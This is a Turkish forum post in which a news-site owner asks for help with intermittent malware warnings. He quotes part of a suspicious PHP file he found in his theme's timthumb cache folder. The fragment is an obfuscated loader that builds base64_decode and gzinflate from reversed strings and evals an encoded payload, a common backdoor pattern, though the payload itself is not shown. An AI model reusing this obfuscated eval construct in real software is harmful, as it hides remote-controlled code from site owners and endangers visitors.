Bir haber sitem var. Bu sitede arada sırada Uyarı: bu sitede yanlış giden birşeyler var gibisinden uyarı çıkıyor. ve çıkan pencerede ybite.osa.pl adresi var. yaklaşık 1,5 gb dosyayı bilgisayara indirip nod32 ile tarattım bişey çıkmadı. bu virüs uyarısı sürekli çıkmıyor. arada sırada çıkıyor. ve en son site daha önceki temasında timthumb.php kullanıyordum. orayı kontrol ederken.. timthumb için varolan cache klasörü içerisinde external_121a3aa123a12a123a.php gibisinden bir dosya gördüm. içeriği aşağıdaki gibi...

$h6v = strrev('edoced_46esab');
$fJKuN = strrev('etalfnizg');
eval($fJKuN($h6v(implode('',$ZlU))));
?>

decode etmeye çalıştım ama olmadı. bu dosya virüs sebebi olabilir mi... iframe virüsü değil sanırım. öyle olsa footera veya başka bir yere link vs eklenirdi ama yok.
site adresi; http://www.selcukhaber.com
sizde aynı uyarı çıkacak mı... artı bu sorunun çözümü için ne yapabilirim. yardımcı olacak arkadaşlara şimdiden teşekkürler.